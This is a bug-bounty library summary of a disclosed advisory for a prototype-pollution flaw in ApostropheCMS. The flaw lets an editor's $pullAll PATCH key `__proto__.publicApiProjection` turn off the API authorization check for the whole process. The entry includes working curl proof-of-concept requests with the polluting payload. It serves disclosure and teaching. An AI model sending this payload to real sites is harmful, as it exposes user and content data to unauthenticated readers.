# Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass

Editor-level $pullAll patch key `__proto__.publicApiProjection` pollutes Object.prototype in ApostropheCMS, disabling publicApiCheck so unauthenticated users read piece-type REST APIs.

- Payout: Research
- Severity: critical
- Program: ApostropheCMS
- Found by: H3xV0rT3x
- Disclosed: 2026-07-31
- CVE: CVE-2026-53609
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6h5j-32cf-4253
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6h5j-32cf-4253
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:prototype-pollution

**Target:** apos.util.set dot-notation path traversal reached via PATCH $pullAll operator on piece-type REST API
**Root cause:** apos.util.set() splits dot-notation paths and traverses without rejecting `__proto__`/`constructor`/`prototype`, so a user-controlled $pullAll key writes to Object.prototype. cloneOriginalBase() misses it because _.has() is an own-property check and `__proto__` is inherited.
**Steps:**
1. Unauthenticated `curl http://localhost:3000/api/v1/@apostrophecms/user` returns `notfound`, confirming the gate.
2. Log in as editor via `POST /api/v1/@apostrophecms/login/login` to obtain a bearer token.
3. Send `PATCH /api/v1/@apostrophecms/global/{docId}:en:draft` with `Authorization: Bearer $TOKEN`, CSRF cookie/header, body `{"$pullAll":{"__proto__.publicApiProjection":[]}}`; returns 200.
4. Re-request `GET /api/v1/@apostrophecms/user` unauthenticated; now returns a paginated `results` array instead of `notfound`.
5. Pollution persists until the Node.js process restarts.
**How found:** Code review of apos.util.set's path traversal, noticing no rejection of `__proto__`; then tracing user-controlled keys from implementPatchOperators' $pullAll loop into set(), and noting cloneOriginalBase's _.has() own-property check fails to catch inherited `__proto__`. Then hunting for a gadget: a truthy-check on an options property that gates authorization, found in publicApiCheck.
**Exploitation:** Any authenticated editor sends one PATCH with a $pullAll key of `__proto__.publicApiProjection`; apos.util.set walks into Object.prototype and sets publicApiProjection to a truthy value. Every piece-type module then inherits the property, so `!self.options.publicApiProjection` is false and publicApiCheck skips canAccessApi for all subsequent requests, including unauthenticated ones, for the process lifetime.
**Escalation:** Single editor request escalates to process-wide unauthenticated read access on all piece-type REST endpoints (verified on user and global), persisting until restart.
**Insight:** When auditing prototype pollution sinks, look for gadgets that read config/options via truthiness (`!self.options.X`) rather than own-property checks — inherited Object.prototype values silently flip authorization branches process-wide. Also note that own-property guards like _.has() upstream of a dot-path setter do not block `__proto__`.

## Proof of concept (copied exactly from the original report)

**PATCH request poisoning Object.prototype via $pullAll**

```
curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Cookie: apos-testapp.csrf=csrf" \
  -H "X-XSRF-TOKEN: csrf" \
  -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
```

**Unauthenticated request confirming authorization bypass**

```
curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"pages":0,"currentPage":1,"results":[]}

The endpoint now returns a valid paginated response instead of `notfound`.
```

